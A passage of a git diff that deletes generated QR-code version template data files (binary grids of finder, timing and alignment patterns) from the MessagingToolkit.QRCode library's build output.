-111111100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 diff --git a/output/Libraries/MessagingToolkit.QRCode/MessagingToolkit.QRCode.qrcode_data.qrvfr26.dat b/output/Libraries/MessagingToolkit.QRCode/MessagingToolkit.QRCode.qrcode_data.qrvfr26.dat deleted file mode 100644 index 09a680c..0000000 --- a/output/Libraries/MessagingToolkit.QRCode/MessagingToolkit.QRCode.qrcode_data.qrvfr26.dat +++ /dev/null @@ -1,121 +0,0 @@ -1111111000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000011001111111 -1000001000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000010101000001 -1011101000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000001101011101 -1011101000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000011101011101 -1011101000000000000000000000111110000000000000000000000011111000000000000000000000001111100000000000000000000001001011101 -1000001000000000000000000000100010000000000000000000000010001000000000000000000000001000100000000000000000000011001000001 -1111111010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101111111 -0000000000000000000000000000100010000000000000000000000010001000000000000000000000001000100000000000000000000000000000000 -0000001000000000000000000000111110000000000000000000000011111000000000000000000000001111100000000000000000000000000000000 -0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -0000001000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -0000001000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -0000001000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -0000001000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -0000001000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -0000001000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -0000001000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -0000001000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -0000001000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -0000111110000000000000000000111110000000000000000000000011111000000000000000000000001111100000000000000000000000111110000 -0000100010000000000000000000100010000000000000000000000010001000000000000000000000001000100000000000000000000000100010000 -0000101010000000000000000000101010000000000000000000000010101000000000000000000000001010100000000000000000000000101010000 -0000100010000000000000000000100010000000000000000000000010001000000000000000000000001000100000000000000000000000100010000 -0000111110000000000000000000111110000000000000000000000011111000000000000000000000001111100000000000000000000000111110000 -0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -0000001000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -0000001000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -0000001000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -0000001000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -0000001000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -0000001000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -0000001000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -0000001000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -0000001000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -0000001000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -0000001000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -0000111110000000000000000000111110000000000000000000000011111000000000000000000000001111100000000000000000000000111110000 -0000100010000000000000000000100010000000000000000000000010001000000000000000000000001000100000000000000000000000100010000 -0000101010000000000000000000101010000000000000000000000010101000000000000000000000001010100000000000000000000000101010000 -0000100010000000000000000000100010000000000000000000000010001000000000000000000000001000100000000000000000000000100010000 -0000111110000000000000000000111110000000000000000000000011111000000000000000000000001111100000000000000000000000111110000 -0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -0000001000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -0000001000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -0000001000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -0000001000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -0000001000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -0000001000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -0000001000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -0000001000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -0000001000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -0000001000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -0000001000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -0000111110000000000000000000111110000000000000000000000011111000000000000000000000001111100000000000000000000000111110000 -0000100010000000000000000000100010000000000000000000000010001000000000000000000000001000100000000000000000000000100010000 -0000101010000000000000000000101010000000000000000000000010101000000000000000000000001010100000000000000000000000101010000 -0000100010000000000000000000100010000000000000000000000010001000000000000000000000001000100000000000000000000000100010000 -0000111110000000000000000000111110000000000000000000000011111000000000000000000000001111100000000000000000000000111110000 -0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -0000001000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -0000001000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -0000001000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -0000001000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -0000001000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -0000001000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -0000001000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -0000001000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -0000001000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -0000001000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -1101011000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -1011110000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -0111001000000000000000000000111110000000000000000000000011111000000000000000000000001111100000000000000000000000111110000 -0000000010000000000000000000100010000000000000000000000010001000000000000000000000001000100000000000000000000000100010000 -1111111000000000000000000000101010000000000000000000000010101000000000000000000000001010100000000000000000000000101010000 -1000001000000000000000000000100010000000000000000000000010001000000000000000000000001000100000000000000000000000100010000 -1011101000000000000000000000111110000000000000000000000011111000000000000000000000001111100000000000000000000000111110000 -1011101000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -1011101000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -1000001000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -1111111000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 diff --git a/output/Libraries/MessagingToolkit.QRCode/MessagingToolkit.QRCode.qrcode_data.qrvfr27.dat b/output/Libraries/MessagingToolkit.QRCode/MessagingToolkit.QRCode.qrcode_data.qrvfr27.dat deleted file mode 100644 index 36fd3dc..0000000 --- a/output/Libraries/MessagingToolkit.QRCode/MessagingToolkit.QRCode.qrcode_data.qrvfr27.dat +++ /dev/null @@ -1,125 +0,0 @@ -11111110000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000001101111111 -10000010000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000010001000001 -10111010000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000001001011101 -10111010000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000001011101 -10111010000000000000000000000000111110000000000000000000000011111000000000000000000000001111100000000000000000000011001011101 -10000010000000000000000000000000100010000000000000000000000010001000000000000000000000001000100000000000000000000011001000001 -11111110101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101111111 -00000000000000000000000000000000100010000000000000000000000010001000000000000000000000001000100000000000000000000000000000000 -00000010000000000000000000000000111110000000000000000000000011111000000000000000000000001111100000000000000000000000000000000 -00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -00000010000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -00000010000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -00000010000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -00000010000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -00000010000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -00000010000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -00000010000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -00000010000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -00000010000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -00000010000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -00000010000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -00001111100000000000000000000000111110000000000000000000000011111000000000000000000000001111100000000000000000000000111110000 -00001000100000000000000000000000100010000000000000000000000010001000000000000000000000001000100000000000000000000000100010000 -00001010100000000000000000000000101010000000000000000000000010101000000000000000000000001010100000000000000000000000101010000 -00001000100000000000000000000000100010000000000000000000000010001000000000000000000000001000100000000000000000000000100010000 -00001111100000000000000000000000111110000000000000000000000011111000000000000000000000001111100000000000000000000000111110000 -00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -00000010000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -00000010000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -00000010000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -00000010000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -00000010000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -00000010000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -00000010000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -00000010000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -00000010000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -00000010000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -00000010000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -00001111100000000000000000000000111110000000000000000000000011111000000000000000000000001111100000000000000000000000111110000 -00001000100000000000000000000000100010000000000000000000000010001000000000000000000000001000100000000000000000000000100010000 -00001010100000000000000000000000101010000000000000000000000010101000000000000000000000001010100000000000000000000000101010000 -00001000100000000000000000000000100010000000000000000000000010001000000000000000000000001000100000000000000000000000100010000 -00001111100000000000000000000000111110000000000000000000000011111000000000000000000000001111100000000000000000000000111110000 -00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -00000010000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -00000010000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -00000010000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -00000010000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -00000010000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -00000010000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -00000010000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -00000010000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -00000010000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -00000010000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -00000010000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -00001111100000000000000000000000111110000000000000000000000011111000000000000000000000001111100000000000000000000000111110000 -00001000100000000000000000000000100010000000000000000000000010001000000000000000000000001000100000000000000000000000100010000 -00001010100000000000000000000000101010000000000000000000000010101000000000000000000000001010100000000000000000000000101010000 -00001000100000000000000000000000100010000000000000000000000010001000000000000000000000001000100000000000000000000000100010000 -00001111100000000000000000000000111110000000000000000000000011111000000000000000000000001111100000000000000000000000111110000 -00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -00000010000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -00000010000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -00000010000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -00000010000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -00000010000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -00000010000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -00000010000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -00000010000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -00000010000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -00000010000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -01001110000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -10101100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -10000010000000000000000000000000111110000000000000000000000011111000000000000000000000001111100000000000000000000000111110000 -00000000100000000000000000000000100010000000000000000000000010001000000000000000000000001000100000000000000000000000100010000 -11111110000000000000000000000000101010000000000000000000000010101000000000000000000000001010100000000000000000000000101010000 -10000010000000000000000000000000100010000000000000000000000010001000000000000000000000001000100000000000000000000000100010000 -10111010000000000000000000000000111110000000000000000000000011111000000000000000000000001111100000000000000000000000111110000 -10111010000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -10111010000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -10000010000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -11111110000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 diff --git a/output/Libraries/MessagingToolkit.QRCode/MessagingToolkit.QRCode.qrcode_data.qrvfr28.dat b/output/Libraries/MessagingToolkit.QRCode/MessagingToolkit.QRCode.qrcode_data.qrvfr28.dat deleted file mode 100644 index 711dfb7..0000000 --- a/output/Libraries/MessagingToolkit.QRCode/MessagingToolkit.QRCode.qrcode_data.qrvfr28.dat +++ /dev/null @@ -1,129 +0,0 @@ -111111100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000001001111111 -100000100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000011001000001 -101110100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000001011101 -101110100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000001101011101 -101110100000000000000000111110000000000000000000111110000000000000000000111110000000000000000000111110000000000000000000101011101 -100000100000000000000000100010000000000000000000100010000000000000000000100010000000000000000000100010000000000000000011001000001 -111111101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101010101111111 -000000000000000000000000100010000000000000000000100010000000000000000000100010000000000000000000100010000000000000000000000000000 -000000100000000000000000111110000000000000000000111110000000000000000000111110000000000000000000111110000000000000000000000000000 -000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -000000100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -000000100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -000000100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -000000100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -000000100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -000000100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -000000100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -000011111000000000000000111110000000000000000000111110000000000000000000111110000000000000000000111110000000000000000000111110000 -000010001000000000000000100010000000000000000000100010000000000000000000100010000000000000000000100010000000000000000000100010000 -000010101000000000000000101010000000000000000000101010000000000000000000101010000000000000000000101010000000000000000000101010000 -000010001000000000000000100010000000000000000000100010000000000000000000100010000000000000000000100010000000000000000000100010000 -000011111000000000000000111110000000000000000000111110000000000000000000111110000000000000000000111110000000000000000000111110000 -000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -000000100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -000000100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -000000100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -000000100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -000000100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -000000100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -000000100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -000000100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -000000100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -000011111000000000000000111110000000000000000000111110000000000000000000111110000000000000000000111110000000000000000000111110000 -000010001000000000000000100010000000000000000000100010000000000000000000100010000000000000000000100010000000000000000000100010000 -000010101000000000000000101010000000000000000000101010000000000000000000101010000000000000000000101010000000000000000000101010000 -000010001000000000000000100010000000000000000000100010000000000000000000100010000000000000000000100010000000000000000000100010000 -000011111000000000000000111110000000000000000000111110000000000000000000111110000000000000000000111110000000000000000000111110000 -000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -000000100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -000000100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -000000100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -000000100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -000000100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -000000100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -000000100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -000000100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -000000100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -000011111000000000000000111110000000000000000000111110000000000000000000111110000000000000000000111110000000000000000000111110000 -000010001000000000000000100010000000000000000000100010000000000000000000100010000000000000000000100010000000000000000000100010000 -000010101000000000000000101010000000000000000000101010000000000000000000101010000000000000000000101010000000000000000000101010000 -000010001000000000000000100010000000000000000000100010000000000000000000100010000000000000000000100010000000000000000000100010000 -000011111000000000000000111110000000000000000000111110000000000000000000111110000000000000000000111110000000000000000000111110000 -000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -000000100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 